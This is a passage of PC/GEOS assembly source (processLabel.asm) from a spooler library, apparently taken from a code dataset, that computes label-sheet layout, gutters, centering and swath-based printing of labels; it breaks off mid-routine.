hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1df76b0a3e0e3e3e5d6cad98ed103622a79874a6 | 37,312 | asm | Assembly | Library/Spool/Process/processLabel.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Spool/Process/processLabel.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Spool/Process/processLabel.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1993 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Spooler
FILE: processLabel.asm
AUTHOR: Jim DeFrisco, Aug 11, 1993
ROUTINES:
Name Description
---- -----------
INT InitLabelVariables Initialize any label variables
INT GetLabelPageTranslation Calculate the translation betwen successive
labels on a page
INT CalcLabelPageCenteringUpright
Calculate any centering of the block of
labels on the page
INT CalcLabelPageCenteringRotated
Calculate any centering of the block of
labels on the page
INT CalcScaledGutterWidth Calculate the scaled gutter width
INT GetLabelMarginsLow Figure out how to translate a page to get
to the first label. (any centering we are
performing on the labels)
INT CalcLabelSheetSize Calculate (guesstimate) the dimensions of
the paper on which the labels are mounted
INT CalcLabelSheetSizeLow Calculate the printable area covered by the
labels
INT PrintGraphicsLabels Print out a single page in graphics mode
INT CheckForGStringDone Done with the string ?
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 8/11/93 Initial revision
DESCRIPTION:
Code to deal with laying out labels and thumbnail prints onto
a piece of paper.
Here are the details of label printing (Label Conventions):
* We assume the labels are centered on the page.
Since we are not currently passed the size of the
paper on which the labels are mounted, we assume
the dimensions are that of the default page. However,
labels are assumed to start in the upper-left corner
of the paper if the paper is tractor-fed.
* We assume that there is a gutter between each
label, if there is any difference between the
default page width & columns * label width.
We assume this gutter size is LABEL_GUTTER_SIZE.
* We scale the document to fit onto the label, and
unlike the normal scale-to-fit code, we *include*
the document margins in the calculation of the
scale factor. This means we won't print to the
edges of the label, which should be a desirable
feature.
* We center the document on the label (since we
scale uniformly in each direction, there is usually
some leftover in one dimmension)
$Id: processLabel.asm,v 1.1 97/04/07 11:11:13 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrintLabel segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitLabelVariables
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize any label variables
CALLED BY: INTERNAL
InitPrinterDriver
PASS: curJob - SpoolJobInfo
dx - PageLayoutLabel
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 3/ 2/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _NIKE_EUROPE
LABEL_GUTTER_SIZE equ 0 ; no gutters on Europe labels
else
LABEL_GUTTER_SIZE equ 9 ; 72/8
endif
InitLabelVariables proc far
uses ax, cx, dx, ds, si
curJob local SpoolJobInfo
.enter inherit
; Extract the # of columns & rows
mov ax, dx
and ax, mask PLL_COLUMNS
mov cl, offset PLL_COLUMNS
shr ax, cl
mov curJob.SJI_labelColumns, al
mov ax, dx
and ax, mask PLL_ROWS
mov cl, offset PLL_ROWS
shr ax, cl
mov curJob.SJI_labelRows, al
; Calculate the gutter size, by seeing if there is any
; difference between the cols*width and the default page
; width
clr cx ; assume zero horizontal gutter
cmp curJob.SJI_labelColumns, 1
je haveGutter
sub sp, size PageSizeReport
segmov ds, ss, si
mov si, sp
call SpoolGetDefaultPageSizeInfo
mov ax, ds:[si].PSR_width.low
add sp, size PageSizeReport
mov cx, ax
mov dl, curJob.SJI_labelColumns
clr dh
mov ax, paperInfo.PSR_width.low
mul dx
sub cx, ax ; if > zero, we have a gutter
mov cx, 0 ; assume no gutter
jle haveGutter
mov cx, LABEL_GUTTER_SIZE
haveGutter:
mov curJob.SJI_gutterWidth, cx
.leave
ret
InitLabelVariables endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetLabelPageTranslation
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Calculate the translation betwen successive labels on a page
CALLED BY: INTERNAL
CalcDocOrientation
PASS: curJob - SpoolJobInfo
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Get translation in *document* coordinates
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 8/16/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetLabelPageTranslation proc far
uses ax, bx, cx, dx
curJob local SpoolJobInfo ; all we need to process this job
.enter inherit
; calculate the adjusted width =
; docWidth * actual scale factor / final scale factor
test curJob.SJI_info.JP_paperSizeInfo.PSR_layout, PT_LABEL
LONG jz done
movwwf dxcx, curJob.SJI_xScaleFactor
movwwf bxax, curJob.SJI_finalScaleFactor
call GrUDivWWFixed
mov bx, curJob.SJI_info.JP_docSizeInfo.PSR_width.low
clr ax
call GrMulWWFixed
movwwf ss:curJob.SJI_adjustedWidth, dxcx
; calculate the adjusted height =
; docHeight * actual scale factor / final scale factor
movwwf dxcx, curJob.SJI_yScaleFactor
movwwf bxax, curJob.SJI_finalScaleFactor
call GrUDivWWFixed
mov bx, curJob.SJI_info.JP_docSizeInfo.PSR_height.low
clr ax
call GrMulWWFixed
movwwf ss:curJob.SJI_adjustedHeight, dxcx
; check to see if we rotated the document. If so, we do
; this a bit differently
mov ax, curJob.SJI_defMatrix.TM_e21.WWF_int
or ax, curJob.SJI_defMatrix.TM_e21.WWF_frac
jnz rotatedDoc
; To move from one column to another:
; X-trans = adjusted width + gutter
; Y-trans = 0
movwwf bxax, curJob.SJI_adjustedWidth
add bx, curJob.SJI_scaledGutter
movwwf curJob.SJI_labelColX, bxax
clrwwf curJob.SJI_labelColY
; To move from one row to aother:
; X-trans = -((columns-1) * (adjusted width + gutter))
; Y-trans = adjusted height
mov dl, curJob.SJI_labelColumns
clr dh
dec dx
clr cx
call GrMulWWFixed
negwwf dxcx
movwwf curJob.SJI_labelRowX, dxcx
movwwf curJob.SJI_labelRowY, curJob.SJI_adjustedHeight, ax
done:
.leave
ret
; Document has been rotated to fit on the label better.
; We want to fill the labels from the top of the page
; towards the bottom, but for convenience we fill from
; right towards left across the page. Maybe someday we'll
; go the other direction :)
rotatedDoc:
; To move from one column to another:
; X-trans = 0
; Y-trans = -(adjusted height + gutter)
clrwwf curJob.SJI_labelColX
movwwf bxax, curJob.SJI_adjustedHeight
add bx, curJob.SJI_scaledGutter
negwwf bxax
movwwf curJob.SJI_labelColY, bxax
; To move from one row to another
; X-trans = adjusted width
; Y-trans = (adjusted height + gutter) * (# cols - 1)
mov dl, curJob.SJI_labelColumns
clr dh
dec dx
neg dx
clr cx
call GrMulWWFixed
movwwf curJob.SJI_labelRowY, dxcx
movwwf curJob.SJI_labelRowX, curJob.SJI_adjustedWidth, ax
jmp done
GetLabelPageTranslation endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CalcLabelPageCenteringUpright
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Calculate any centering of the block of labels on the page
CALLED BY: INTERNAL
ScaleToFit
PASS: curJob - SpoolJobInfo
dx.cx - X scale factor
di - current X translation (for centering)
si - current Y translation (for centering)
RETURN: di - updated X translation
si - updated Y translation
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 3/ 2/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CalcLabelPageCenteringUpright proc far
uses ax, bx, cx, dx
curJob local SpoolJobInfo
.enter inherit
; Calculate the scaled gutter width
movwwf bxax, dxcx
call CalcScaledGutterWidth
; Calculate the difference between the default page
; size & the block of labels, divide both differences
; in half, and then add those values into the current
; translation values
call GetLabelMarginsLow
add di, dx
add si, bx
; We then need to *subtract* the margins, as that
; is what the caller expects
sub di, paperInfo.PSR_margins.PCMP_left
sub si, paperInfo.PSR_margins.PCMP_top
.leave
ret
CalcLabelPageCenteringUpright endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CalcLabelPageCenteringRotated
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Calculate any centering of the block of labels on the page
CALLED BY: INTERNAL
ScaleToFit
PASS: curJob - SpoolJobInfo
bx.ax - Y scale factor
di - current X translation (for centering)
si - current Y translation (for centering)
RETURN: di - updated X translation
si - updated Y translation
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Note that a -90 degree rotation has been applied, so
the sign of the Y translations is inverted.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 3/ 2/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CalcLabelPageCenteringRotated proc far
uses ax, bx, cx, dx
curJob local SpoolJobInfo
.enter inherit
; Calculate the scaled gutter width
call CalcScaledGutterWidth
; Calculate the difference between the default page
; size & the block of labels, divide both differences
; in half, and then add those values into the current
; translation values
call GetLabelMarginsLow
add di, bx
sub si, dx
; We then need to *subtract* the margins, as that
; is what the caller expects.
sub di, paperInfo.PSR_margins.PCMP_left
add si, paperInfo.PSR_margins.PCMP_top
.leave
ret
CalcLabelPageCenteringRotated endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CalcScaledGutterWidth
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Calculate the scaled gutter width
CALLED BY: INTERNAL
CalcLabelPageCenteringUpright, CalcLabelPageCenteringRotated
PASS: curJob - SpoolJobInfo
bx.ax - scale factor
RETURN: nothing
DESTROYS: cx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
sets curJob.SJI_scaledGutter
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 3/ 3/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CalcScaledGutterWidth proc near
curJob local SpoolJobInfo
.enter inherit
; Divide gutter by scale factor, as the value will
; later be scaled by the GState
mov dx, ss:[curJob].SJI_gutterWidth
clr cx
call GrUDivWWFixed
rndwwf dxcx
mov ss:[curJob].SJI_scaledGutter, dx
.leave
ret
CalcScaledGutterWidth endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetLabelMarginsLow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Figure out how to translate a page to get to the first label.
(any centering we are performing on the labels)
CALLED BY: INTERNAL
GetLabelMarginsWWFixed, GetLabelMarginsScaledDWord
PASS: curJob - inherited stack frame
RETURN: dx - X translation
bx - Y translation
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
if (not tractor fed)
calculate translations for centering
else
return zero
endif
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 2/22/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetLabelMarginsLow proc near
uses ax, cx, di, si, ds
curJob local SpoolJobInfo
.enter inherit
; If we're in tractor feed, no centering
mov bx, curJob.SJI_pstate ; grab pstate handle
call MemLock ; ax -> PState
mov ds, ax
test ds:[PS_paperInput], mask PIO_TRACTOR
call MemUnlock ; (flags preserved)
mov bx, 0
mov dx, 0
jnz done
; Else calculate the centering marGet the margins
call GetLabelMarginsRealLow
done:
.leave
ret
GetLabelMarginsLow endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetLabelMarginsRealLow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Figure out how to translate a page to get to the first label.
(any centering we are performing on the labels)
CALLED BY: INTERNAL
GetLabelMarginsWWFixed, GetLabelMarginsScaledDWord
PASS: curJob - inherited stack frame
RETURN: dx - X translation
bx - Y translation
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
if (not tractor fed)
Get height of block of labels
Subtract from default paper height.
Divide in half
Get width of block of labels
Subtract from default paper width.
Divide in half
Return result.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 2/22/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetLabelMarginsRealLow proc near
uses di, si, ds
curJob local SpoolJobInfo
.enter inherit
; Grab the default page size
sub sp, size PageSizeReport
segmov ds, ss, si
mov si, sp ; ds:si -> scratch
call SpoolGetDefaultPageSizeInfo
mov di, ds:[si].PSR_height.low ; si = default height
mov si, ds:[si].PSR_width.low ; si = default width
add sp, size PageSizeReport
; Grab the printable width & height of the labels, and then
; calculate the centering
call CalcLabelSheetSizeLow ; bx -> width
; dx -> height
sub si, bx ; si = width difference
sar si, 1 ; divide in half
sub di, dx ; di = height difference
sar di, 1 ; divide in half
mov dx, si ; X margin
mov bx, di ; Y margin
done::
.leave
ret
GetLabelMarginsRealLow endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CalcLabelSheetSize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Calculate (guesstimate) the dimensions of the paper
on which the labels are mounted
CALLED BY: INTERNAL
InitPrinterDriver
PASS: inherited spooler variables
RETURN: ax - paper width
si - paper height
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
See assumptions above under "Label Conventions"
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 8/30/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CalcLabelSheetSize proc far
uses bx, cx, dx, ds, di
curJob local SpoolJobInfo
.enter inherit
; Query for the default page size. We'll use this later
; to see how close we are to the calculated paper size
segmov ds, ss, si
sub sp, size PageSizeReport
mov si, sp ; ds:si -> PageSizeRep
call SpoolGetDefaultPageSizeInfo
mov di, ds:[si].PSR_width.low ; get def width
mov si, ds:[si].PSR_height.low ; get def height
add sp, size PageSizeReport
; Calculate the width of the page, including any gutters
; between the labels.
call CalcLabelSheetSizeLow
mov ax, di ; ax x si -> default
; bx x dx -> actual
; (w/o margins)
; Determine if the we're close to the default paper size.
; If we're close to that, use it instead of the calculated
; size, as labels ususally come on normally-sized paper,
; and we don't want to confuse any "intelligent" printers
; with non-standard paper sizes.
sub di, bx ; if too wide, use
js customPaperSize ; ...calculated values
jz checkHeight ; if equal, check height
sub di, paperInfo.PSR_margins.PCMP_left
sub di, paperInfo.PSR_margins.PCMP_right
js checkHeight
cmp di, 90 ; if within 1.25"
jg customPaperSize
checkHeight:
mov di, si
sub di, dx ; if too tall, use
js customPaperSize ; ...calculated values
jz done ; if equal, we're done
sub di, paperInfo.PSR_margins.PCMP_top
sub di, paperInfo.PSR_margins.PCMP_bottom
js done
cmp di, 90 ; if within 1.25"
jg customPaperSize
done:
.leave
ret
; We have a custom paper size. We need to include any
; centering margins. Unfortunately, we don't yet know if
; we are operating in tractor-feed mode yet, so we assume that
; we are not.
customPaperSize:
mov ax, bx ; ax <- label width
mov si, dx ; si <- label height
call GetLabelMarginsRealLow
add ax, dx ; add left margin
add ax, dx ; add right margin
add si, bx ; add top margin
add si, bx ; add bottom margin
jmp done
CalcLabelSheetSize endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CalcLabelSheetSizeLow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Calculate the printable area covered by the labels
CALLED BY: INTERNAL
PASS: inherited spooler variables
RETURN: BX = Total width (including gutters)
DX = Total height (including gutters)
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 2/22/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CalcLabelSheetSizeLow proc near
uses ax, cx
curJob local SpoolJobInfo
.enter inherit
; Calculate the width of the page, including any gutters
; between the labels.
mov cl, curJob.SJI_labelColumns
clr ch ; cx = # of columns
mov ax, paperInfo.PSR_width.low
mul cx
mov_tr dx, ax
mov ax, curJob.SJI_gutterWidth
dec cl ; (columns - 1) gutters
mul cl ; ...between labels
add ax, dx
push ax ; save width
; Calculate the height of the page
mov cl, curJob.SJI_labelRows
clr ch ; cx = # of rows
mov ax, paperInfo.PSR_height.low
mul cx
mov_tr dx, ax ; dx = total height
pop bx ; bx = total width
.leave
ret
CalcLabelSheetSizeLow endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrintGraphicsLabels
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Print out a single page in graphics mode
CALLED BY: INTERNAL
DoGraphicsPrinting
PASS: inherits stack frame
RETURN: ax - code returned from DrawString
DESTROYED: just about everything
PSEUDO CODE/STRATEGY:
handle the printing of a single page (of paper, not a page
of the document)
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 05/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrintGraphicsLabels proc far
curJob local SpoolJobInfo
.enter inherit
; starting with a fresh transformation matrix, so apply
; our stuff to fit output to the printer resolution
mov di, curJob.SJI_bmWinHan ; get win handle in di
movwwf dxcx, curJob.SJI_pXscale ; set up xscale factor
movwwf bxax, curJob.SJI_pYscale ; set up yscale factor
mov si, WIF_DONT_INVALIDATE ; don't force a redraw
call WinApplyScale ;
; set the default transformation matrix. This was determined
; by CalcDocOrientation, and handles the automatic rotation
; of documents to fit on the paper better.
mov di, curJob.SJI_bmWinHan ; get win handle in di
segmov ds, ss, si
lea si, curJob.SJI_defMatrix ; set it from here
mov cx, WIF_DONT_INVALIDATE ; don't force a redraw
call WinApplyTransform ; set the TMatrix
; the code from here on down is responsible for the printing
; of a single PAPER page (as opposed to just a DOCUMENT page).
; That means we have to deal with tiling multiple doc pages
; over the paper.
; let the printer know we're starting a page
if _NONSPOOL ;--------------------------------------------------------------
push ds
mov bx, curJob.SJI_pstate
call MemLock
mov ds, ax
test ds:[PS_paperInput], mask PIO_MANUAL
call MemUnlock ; (preserves flags)
pop ds
jz startPage ; no, auto-fed paper
checkPaper::
mov di, DR_PRINT_ESC_WAIT_FOR_MECH ; wait for print engine
mov bx, curJob.SJI_pstate
call curJob.SJI_pDriver
mov di, DR_PRINT_ESC_GET_ERRORS ; set the code
mov al, PJLP_noupdate
call curJob.SJI_pDriver ; call the driver
test al, mask PER_MPE ; paper present?
jnz askForPaper
startPage:
call ProcessStartPage
; This should load a sheet of paper, and now we will test for
; errors on the load.
call GetPrinterReturnCode
cmp ax, PDR_PAPER_JAM_OR_EMPTY ; jammed or empty?
jne startSwathes ; if not, let er rip...
askForPaper:
call NonSpoolPaperFeedBox
cmp ax, IC_OK
je startPage ; start page
jmp shutdownHere ; else shutdown
else ; not _NONSPOOL -------------------------------------------------------
call ProcessStartPage
jnc startSwathes ; check for errors
mov ax, GSRT_FAULT ; make like something
jmp doneDocPage ; bad happened
endif ; _NONSPOOL ---------------------------------------------------
; set whatever page-bound variables we need to
startSwathes:
movdw curJob.SJI_curScan, 0 ; start at top of page
; This loop draws the page over and over into each swath,
; and sends the swath off to be printed.
swathLoop:
; must reset SJI_labelfPos for each swath, or else we'll
; be printing the wrong pages if we are printing more than
; one copy
movdw curJob.SJI_labelfPos, curJob.SJI_fPos, ax
; we need to save this transformation, so that we know what
; to apply when we do the follow-on swaths.
lea si, curJob.SJI_oldMatrix ; ds:si->buffer space
call GetOurTransformation ; get old TMatrix
; re-initialize the bitmap
mov di, curJob.SJI_gstate ; get string handle
call GrClearBitmap ; di = bitmap gstate
; the file is already open, associate it with a graphics
; string handle
mov cx, GST_STREAM ; type of gstring it is
mov bx, curJob.SJI_fHan ; bx gets file handle
call GrLoadGString ; si = string handle
mov curJob.SJI_gstring, si ; store the handle
; save the numCopies flag, since we trash it inside the loop
mov al, curJob.SJI_numCopies
push ax
; We print across, then down, so handle the y loop on the
; outside and the xloop on the inside.
mov cl, curJob.SJI_labelRows ; init y loop variable
mov curJob.SJI_curRow, cl
tileInY:
; next we implement the loop to tile across. Like the y loop
; we need to keep track of the current TM
mov cl, curJob.SJI_labelColumns ; init #pages across
mov curJob.SJI_curColumn, cl
tileInX:
call BumpPhysPageNumber
mov di, curJob.SJI_gstate ; get state handle
call GrSaveState
if _DEBUG
; For debugging purposes, draw the outline of the label
clr ax
clr bx
mov cx, curJob.SJI_info.JP_docSizeInfo.PSR_width.low
mov dx, curJob.SJI_info.JP_docSizeInfo.PSR_height.low
call GrDrawRect
endif
; Now draw the page
clr ax ; no parameters
clr bx ; draw at (0,0)
mov dx, mask GSC_NEW_PAGE ; stop at end of page
mov si, curJob.SJI_gstring ; get string handle
call GrDrawGString ; draw the string
call GrRestoreState
push dx, cx ; save GSRetType & data
; if we are printing un-collated copies, print another one.
test curJob.SJI_info.JP_spoolOpts, mask SO_COLLATE
jnz skipNewPage ; no copies
dec curJob.SJI_numCopies ; one less copy to do
jle skipNewPage
call PositionGStringFile
jmp nextLabel
; skip over the NEW_PAGE, and get the copy count for the next
; page. And record the new start position in the file. If
; the end of the string is after the NEW_PAGE, treat it like
; an end-swath condition
skipNewPage:
mov ax, 1 ; not GSRT_COMPLETE
cmp dx, GSRT_NEW_PAGE ; skip NEW_PAGE only
je skipOne ; if GSRT_NEW_PAGE
pop dx, cx ; else fixup stack
jmp checkCollated ; and we're done
skipOne:
mov al, GSSPT_SKIP_1
call GrSetGStringPos
; record the current file position, so we can set it at the
; end of the page.
mov al, FILE_POS_RELATIVE
mov bx, curJob.SJI_fHan ; fetch file handle
clr cx, dx
call FilePos ; set to start o page
movdw curJob.SJI_labelfPos, dxax ; save file position
; more un-collated copies work. Reset the numCopies and
; update the filePos
test curJob.SJI_info.JP_spoolOpts, mask SO_COLLATE
jnz nextLabel ; no copies
push ds
mov bx, curJob.SJI_pstate
call MemLock ; grab #copies from
mov ds, ax ; JobParams in pstate
mov al,ds:[PS_jobParams].JP_numCopies
mov curJob.SJI_numCopies, al ; for uncollated cops
call MemUnlock
pop ds
; handle printing the next page to the right for tiled output
; the xloop is on the inside, so do that one first
nextLabel:
sub curJob.SJI_curColumn, 1 ; one less page to do
jle nextPassAcross ; finished this swoosh
; still have more to do across a swoosh (this is a technical
; term describing one pass of "pages" across the document ;)
movwwf dxcx, curJob.SJI_labelColX ; translate to next
movwwf bxax, curJob.SJI_labelColY ; column
mov di, curJob.SJI_bmWinHan ; get window handle
mov si, WIF_DONT_INVALIDATE
call WinApplyTranslation ; apply old one
pop dx, cx ; restore GSRetType
mov al, 0
call CheckForGStringDone
jc checkCollated
jmp tileInX
nextPassAcross:
sub curJob.SJI_curRow, 1 ; one less page to do
jle swathDonePushed
; still have more swooshes to do
mov di, curJob.SJI_bmWinHan ; get window handle
mov si, WIF_DONT_INVALIDATE
movwwf dxcx, curJob.SJI_labelRowX ; translate down/left
movwwf bxax, curJob.SJI_labelRowY
call WinApplyTranslation ; DONT_INVAL still ok
pop dx, cx ; restore GSRetType/dat
mov al, 1 ; signal tileInY action
call CheckForGStringDone
jc checkCollated
tileInYShort:
jmp tileInY
; done with one set of pages, check to see if we need to do
; another set
checkCollated:
test curJob.SJI_info.JP_spoolOpts, mask SO_COLLATE
jz swathDone ; nope, quit
dec curJob.SJI_numCopies ; one less to do
jle swathDone ; done with all copies
; doing another copy. Reset the file position back to the
; beginning of the file and go at it.
clrdw curJob.SJI_labelfPos
mov si, curJob.SJI_gstring ; si = string handle
call PositionGStringFile
tst al ; check flag set above
jnz tileInYShort
jmp tileInX
; DONE WITH A SWATH
; this swath is done, destroy the string so we can start it
; up again.
swathDone:
push dx, cx ; re-save return codes
swathDonePushed:
mov si, curJob.SJI_gstring ; get string handle
mov dl, GSKT_LEAVE_DATA ; don't kill the data
call GrDestroyGString ; si = string handle
; OK, it's built out, so send it on down to be printed
if _NONSPOOL ;--------------------------------------------------------------
call SpoolLockPrintJob ; set the semaphore.
; OK, it's built out, so send it on down to be printed
mov dx, curJob.SJI_bmFileHan ; pass huge arr handle
mov cx, curJob.SJI_bmHan
mov bx, curJob.SJI_pstate ; pass the pstate
mov di, DR_PRINT_SWATH ; the big one
call curJob.SJI_pDriver ; print it
LONG jc ejectPaper
call SpoolUnlockPrintJob ; reset the semaphore.
; General check Error handling goes here.
; Make sure things are still ok after printing a swath.
call SpoolProcessErrors
LONG jc exitErr ; catastophic error?
cmp ax,GSRT_FAULT ; fault?
LONG je ejectPaper ; yes - eject paper
else ; not _NONSPOOL -------------------------------------------------------
mov dx, curJob.SJI_bmFileHan ; pass huge arr handle
mov cx, curJob.SJI_bmHan
mov bx, curJob.SJI_pstate ; pass the pstate
mov di, DR_PRINT_SWATH ; the big one
call curJob.SJI_pDriver ; print it
LONG jc exitErr
endif ; _NONSPOOL ---------------------------------------------------
; see if we have more to print, update all the nice vars
movdw dxbx, curJob.SJI_curScan ; get current position
add bx, curJob.SJI_swathH ; calc new position
adc dx, 0
